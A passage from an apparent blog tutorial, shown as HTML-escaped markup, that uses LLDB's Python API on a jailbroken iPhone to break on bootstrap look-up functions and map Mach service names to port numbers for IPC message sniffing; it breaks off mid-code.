&lt;p&gt;I prefer minimally intrusive methods of introspection. For that reason I’ve chosen to use LLDB. Setting up a debugging session on a JailBroken iPhone is not trivial. However, I will leave it as an exercise to the reader to follow the setup instructions found on the &lt;a href=&quot;http://iphonedevwiki.net/index.php/Debugserver&quot;&gt;iPhoneWiki&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lldb.llvm.org/&quot;&gt;LLDB&lt;/a&gt; is a really great debugger. One of my favorite features is its Python API interface. Using this interface we are able to script the debugger to automatically process memory in the context of a breakpoint. Essentially, LLBD conveniently provides a method for automating the manual work of analyzing function inputs and outputs.&lt;/p&gt;

&lt;p&gt;To find out the name to port number mapping, we’ll set a breakpoint on the look up functions. There are three functions: &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up&lt;/code&gt; which is a wrapper for &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up2&lt;/code&gt;. There is also &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up3&lt;/code&gt; which looks to be a private function, but used by several libraries. So, we will try to break on the latter two.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# break on bootstrap_look_up2 start&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bs_look2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'bootstrap_look_up2'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                        &lt;span class=&quot;s&quot;&gt;'libxpc.dylib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bs_look2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetScriptCallbackFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;s&quot;&gt;'mach_sniff.rocketbootstrap_look_up'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# find the end of the function&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bp&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bs_look2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;insts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadInstructions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetLoadAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
                  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insts&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetMnemonic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ret'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# Just look for the first RET instruction&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;bs_look2_end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                                                   &lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;bs_look2_end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetScriptCallbackFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;s&quot;&gt;'mach_sniff.rocketbootstrap_look_up_end'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bs_look2_end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We don’t need to break on &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up&lt;/code&gt; because &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up2&lt;/code&gt; is enough, the former is a wrapper for the latter. You can see the source code for those functions on &lt;a href=&quot;http://opensource.apple.com//source/launchd/launchd-328/launchd/src/libbootstrap.c&quot;&gt;Apple Open Source&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# set on rocket if available, otherwise regular crashes.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bs_look3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'rocketbootstrap_look_up'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                        &lt;span class=&quot;s&quot;&gt;'librocketbootstrap.dylib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bs_look3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsValid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bs_look3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'bootstrap_look_up3'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                         &lt;span class=&quot;s&quot;&gt;'libxpc.dylib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;bs_look3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetScriptCallbackFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;s&quot;&gt;'mach_sniff.rocketbootstrap_look_up'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# look for the end of function&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bp&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bs_look3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;insts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadInstructions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetLoadAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
                  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insts&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetMnemonic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ret'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;bs_look3_end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BreakpointCreateByAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                                                  &lt;span class=&quot;n&quot;&gt;first_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;bs_look3_end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetScriptCallbackFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                         &lt;span class=&quot;s&quot;&gt;'mach_sniff.rocketbootstrap_look_up_end'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bs_look3_end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also want to break on &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up3&lt;/code&gt;, however something about how breakpoints work and how &lt;a href=&quot;https://github.com/rpetrich/RocketBootstrap&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;librocket_bootstrap&lt;/code&gt;&lt;/a&gt; hooks the function clashes with catastrophic results. So, to handle this use case we just support breaking on the rocket_bootstrap version which is &lt;code class=&quot;highlighter-rouge&quot;&gt;rocketbootstrap_look_up&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In both cases we set a handler function that will analyze the function parameters to extract the name and look for the user specified port name. &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_sniff.rocketbootstrap_look_up&lt;/code&gt; is used for the start of the function and &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_sniff.rocketbootstrap_look_up_end&lt;/code&gt; for the end. The first will analyze the parameters and initiate the state. Then the second function will close the state and report the mapping to the user and follow on functions (i.e. sniffing on the messages).&lt;/p&gt;

&lt;p&gt;Once the breakpoints for the look up function begins and ends are set, it becomes pretty easy to track port numbers and names. When the look up is first called, registers &lt;code class=&quot;highlighter-rouge&quot;&gt;X1&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;X2&lt;/code&gt; point to the name and the return buffer, respectively. So, all we have to do is save off those values. We create a state at the start of the function and look it up at the end of the function to create the mapping.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;look_up_states&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rocketbootstrap_look_up&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bp_loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetThreadID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# name of port to be looked up&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x1_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# destination of the port number&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x2_ret_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetChildAtIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lldb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadCStringFromMemory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x1_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;# create state if it's the port we are looking for&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;look_up_states&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;'port'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;'ret_addr'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x2_ret_addr&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'port name error: '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the end of the function we look up the state information by thread ID and match up the name with the port number.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rocketbootstrap_look_up_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bp_loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetThreadID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    
    &lt;span class=&quot;c&quot;&gt;# logically confirms that the name matched to the port we want to sniff&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;look_up_states&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;look_up_states&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lldb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;c&quot;&gt;# read port number from the return buffer&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;port_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadUnsignedFromMemory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ret_addr'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;FOUND PORT: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'port'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;c&quot;&gt;# start sniffing for messages on this port.&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;look_up_states&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
